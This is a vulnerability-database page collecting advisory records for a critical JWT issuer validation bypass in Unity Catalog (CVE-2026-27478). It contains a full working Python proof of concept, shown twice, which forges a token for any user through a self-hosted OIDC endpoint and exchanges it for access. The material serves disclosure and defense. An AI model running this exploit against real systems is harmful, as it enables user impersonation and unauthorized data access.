Vulnerability-Lookup

CVE-2026-27478 (GCVE-0-2026-27478)

Vulnerability from cvelistv5 – Published: 2026-03-11 19:36 – Updated: 2026-03-12 19:57

Title

Unity Catalog has a JWT Issuer Validation Bypass Allows Complete User Impersonation

Summary

Unity Catalog is an open, multi-modal Catalog for data and AI. In 0.4.0 and earlier, a critical authentication bypass vulnerability exists in the Unity Catalog token exchange endpoint (/api/1.0/unity-control/auth/tokens). The endpoint extracts the issuer (iss) claim from incoming JWTs and uses it to dynamically fetch the JWKS endpoint for signature validation without validating that the issuer is a trusted identity provider.

Severity

9.1 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

SSVC

Exploitation: none Automatable: yes Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-03-12 19:57 UTC

CWE

CWE-290 - Authentication Bypass by Spoofing
CWE-346 - Origin Validation Error
CWE-1390 - Weak Authentication

Assigner

GitHub_M mitre root Scorecard

References

1 reference

URL	Tags
https://github.com/unitycatalog/unitycatalog/secu…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version
unitycatalog	unitycatalog	Affected: <= 0.4.0

Show details on NVD website

JSON

To clipboard

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EUVD-2026-275880

European Vulnerability Database identifier assigned by ENISA

Reserved

2026-10-02 07:04

Assigner

ENISA

Alias of

a CVE record, shown under related vulnerabilities. This identifier carries no description, severity or references of its own: they belong to that CVE.

JSON

To clipboard

{
  "assigner": "ENISA",
  "date_reserved": "2026-10-02T07:04:02.725779+00:00",
  "id": "EUVD-2026-275880"
}

FKIE_CVE-2026-27478

Vulnerability from fkie_nvd - Published: 2026-03-11 20:16 - Updated: 2026-06-17 10:27

Severity

9.1 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/unitycatalog/unitycatalog/security/advisories/GHSA-qqcj-rghw-829x	Vendor Advisory

Impacted products

	Vendor	Product	Version
	unitycatalog	unitycatalog	*

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "unitycatalog",
          "vendor": "unitycatalog",
          "versions": [
            {
              "status": "affected",
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            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
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    {
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              "criteria": "cpe:2.3:a:unitycatalog:unitycatalog:*:*:*:*:data:*:*:*",
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              "versionEndIncluding": "0.4.0",
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    },
    {
      "lang": "es",
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    }
  ],
  "id": "CVE-2026-27478",
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GHSA-QQCJ-RGHW-829X

Vulnerability from github – Published: 2026-05-11 17:58 – Updated: 2026-05-11 17:58

Summary

Unity Catalog has a JWT Issuer Validation Bypass tht Allows Complete User Impersonation

Details

Context: A critical authentication bypass vulnerability exists in the Unity Catalog token exchange endpoint (/api/1.0/unity-control/auth/tokens). The endpoint extracts the issuer (iss) claim from incoming JWTs and uses it to dynamically fetch the JWKS endpoint for signature validation without validating that the issuer is a trusted identity provider.

Way to exploit:

An attacker can exploit this by: 1. Hosting their own OIDC-compliant server with a valid JWKS endpoint 2. Signing a JWT with their own private key, setting the iss claim to their server 3. Setting the sub/email claim to any known user in the Unity Catalog system 4. Exchanging this crafted token for a valid internal access token

This results in complete impersonation of any user in the system, granting access to all catalogs, schemas, tables, and other resources that user has permissions to.

Additionally, the implementation does not validate the audience (aud) claim, allowing tokens intended for other services to be used.

Example

Example implementation doing token exchange with a self hosted .well-known/openid-configuration and jwks endpoint.

This can be run with python3 main.py and TARGET_USER, UC_SERVER and PORT adjusted to the testing setup.

#!/usr/bin/env python3
"""Unity Catalog JWT Issuer Validation Bypass PoC - Minimal Version"""

import base64, secrets, threading, time
from datetime import datetime, timedelta, timezone
import jwt, requests
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from flask import Flask, jsonify

TARGET_USER = "user@example.com"
UC_SERVER = "http://localhost:8080"
PORT = 8888
ISSUER = f"http://localhost:{PORT}"

# Generate RSA key pair
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
kid = secrets.token_hex(8)

# Create JWKS
pub = key.public_key().public_numbers()
def b64(n): return base64.urlsafe_b64encode(n.to_bytes((n.bit_length()+7)//8, "big")).rstrip(b"=").decode()
jwks = {"keys": [{"kty": "RSA", "use": "sig", "alg": "RS256", "kid": kid, "n": b64(pub.n), "e": b64(pub.e)}]}

# Create malicious JWT
token = jwt.encode(
    {"iss": ISSUER, "sub": TARGET_USER, "email": TARGET_USER, "aud": "unity-catalog",
     "iat": datetime.now(timezone.utc), "exp": datetime.now(timezone.utc) + timedelta(hours=1)},
    key.private_bytes(serialization.Encoding.PEM, serialization.PrivateFormat.PKCS8, serialization.NoEncryption()),
    algorithm="RS256", headers={"kid": kid}
)

# Start minimal OIDC server
app = Flask(__name__)
app.logger.disabled = True

@app.route("/.well-known/openid-configuration")
def oidc(): return jsonify({"issuer": ISSUER, "jwks_uri": f"{ISSUER}/jwks"})

@app.route("/jwks")
def keys(): return jsonify(jwks)

threading.Thread(target=lambda: app.run(port=PORT, threaded=True, use_reloader=False), daemon=True).start()
time.sleep(1)

# Exchange token
resp = requests.post(f"{UC_SERVER}/api/1.0/unity-control/auth/tokens",
                     data={"grant_type": "urn:ietf:params:oauth:grant-type:token-exchange",
                           "requested_token_type": "urn:ietf:params:oauth:token-type:access_token",
                           "subject_token_type": "urn:ietf:params:oauth:token-type:id_token",
                           "subject_token": token})

if resp.status_code == 200:
    access_token = resp.json()["access_token"]
    print(f"[+] Got access token as '{TARGET_USER}'")
    # Demo: list catalogs
    catalogs = requests.get(f"{UC_SERVER}/api/2.1/unity-catalog/catalogs",
                            headers={"Authorization": f"Bearer {access_token}"})
    print(catalogs.json())
else:
    print(f"[-] Failed: {resp.status_code} {resp.text}")

Severity

9.1 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.4.0"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.unitycatalog:unitycatalog-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27478"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1390",
      "CWE-290",
      "CWE-346"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-11T17:58:40Z",
    "nvd_published_at": "2026-03-11T20:16:14Z",
    "severity": "CRITICAL"
  },
  "details": "**Context:**\nA critical authentication bypass vulnerability exists in the Unity Catalog token exchange endpoint (/api/1.0/unity-control/auth/tokens). The endpoint extracts the issuer (iss) claim from incoming JWTs and uses it to dynamically fetch the JWKS endpoint for signature validation without validating that the issuer is a trusted identity provider.\n\n**Way to exploit:**\n\nAn attacker can exploit this by:\n1. Hosting their own OIDC-compliant server with a valid JWKS endpoint\n2. Signing a JWT with their own private key, setting the iss claim to their server\n3. Setting the sub/email claim to any known user in the Unity Catalog system\n4. Exchanging this crafted token for a valid internal access token\n\nThis results in complete impersonation of any user in the system, granting access to all catalogs, schemas, tables, and other resources that user has permissions to.\n\nAdditionally, the implementation does not validate the audience (aud) claim, allowing tokens intended for other services to be used.\n\n**Example**\n\nExample implementation doing token exchange with a self hosted `.well-known/openid-configuration` and `jwks` endpoint.\n\nThis can be run with `python3 main.py` and `TARGET_USER`, `UC_SERVER` and `PORT` adjusted to the testing setup.\n\n```python\n#!/usr/bin/env python3\n\"\"\"Unity Catalog JWT Issuer Validation Bypass PoC - Minimal Version\"\"\"\n\nimport base64, secrets, threading, time\nfrom datetime import datetime, timedelta, timezone\nimport jwt, requests\nfrom cryptography.hazmat.primitives import serialization\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom flask import Flask, jsonify\n\nTARGET_USER = \"user@example.com\"\nUC_SERVER = \"http://localhost:8080\"\nPORT = 8888\nISSUER = f\"http://localhost:{PORT}\"\n\n# Generate RSA key pair\nkey = rsa.generate_private_key(public_exponent=65537, key_size=2048)\nkid = secrets.token_hex(8)\n\n# Create JWKS\npub = key.public_key().public_numbers()\ndef b64(n): return base64.urlsafe_b64encode(n.to_bytes((n.bit_length()+7)//8, \"big\")).rstrip(b\"=\").decode()\njwks = {\"keys\": [{\"kty\": \"RSA\", \"use\": \"sig\", \"alg\": \"RS256\", \"kid\": kid, \"n\": b64(pub.n), \"e\": b64(pub.e)}]}\n\n# Create malicious JWT\ntoken = jwt.encode(\n    {\"iss\": ISSUER, \"sub\": TARGET_USER, \"email\": TARGET_USER, \"aud\": \"unity-catalog\",\n     \"iat\": datetime.now(timezone.utc), \"exp\": datetime.now(timezone.utc) + timedelta(hours=1)},\n    key.private_bytes(serialization.Encoding.PEM, serialization.PrivateFormat.PKCS8, serialization.NoEncryption()),\n    algorithm=\"RS256\", headers={\"kid\": kid}\n)\n\n# Start minimal OIDC server\napp = Flask(__name__)\napp.logger.disabled = True\n\n@app.route(\"/.well-known/openid-configuration\")\ndef oidc(): return jsonify({\"issuer\": ISSUER, \"jwks_uri\": f\"{ISSUER}/jwks\"})\n\n@app.route(\"/jwks\")\ndef keys(): return jsonify(jwks)\n\nthreading.Thread(target=lambda: app.run(port=PORT, threaded=True, use_reloader=False), daemon=True).start()\ntime.sleep(1)\n\n# Exchange token\nresp = requests.post(f\"{UC_SERVER}/api/1.0/unity-control/auth/tokens\",\n                     data={\"grant_type\": \"urn:ietf:params:oauth:grant-type:token-exchange\",\n                           \"requested_token_type\": \"urn:ietf:params:oauth:token-type:access_token\",\n                           \"subject_token_type\": \"urn:ietf:params:oauth:token-type:id_token\",\n                           \"subject_token\": token})\n\nif resp.status_code == 200:\n    access_token = resp.json()[\"access_token\"]\n    print(f\"[+] Got access token as \u0027{TARGET_USER}\u0027\")\n    # Demo: list catalogs\n    catalogs = requests.get(f\"{UC_SERVER}/api/2.1/unity-catalog/catalogs\",\n                            headers={\"Authorization\": f\"Bearer {access_token}\"})\n    print(catalogs.json())\nelse:\n    print(f\"[-] Failed: {resp.status_code} {resp.text}\")\n```",
  "id": "GHSA-qqcj-rghw-829x",
  "modified": "2026-05-11T17:58:40Z",
  "published": "2026-05-11T17:58:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/unitycatalog/unitycatalog/security/advisories/GHSA-qqcj-rghw-829x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27478"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/unitycatalog/unitycatalog"
    },
    {
      "type": "WEB",
      "url": "https://github.com/unitycatalog/unitycatalog/releases/tag/v0.4.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Unity Catalog has a JWT Issuer Validation Bypass tht Allows Complete User Impersonation"
}

Sightings

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Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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Action not permitted

CVE-2026-27478 (GCVE-0-2026-27478)

EUVD-2026-275880

FKIE_CVE-2026-27478

GHSA-QQCJ-RGHW-829X

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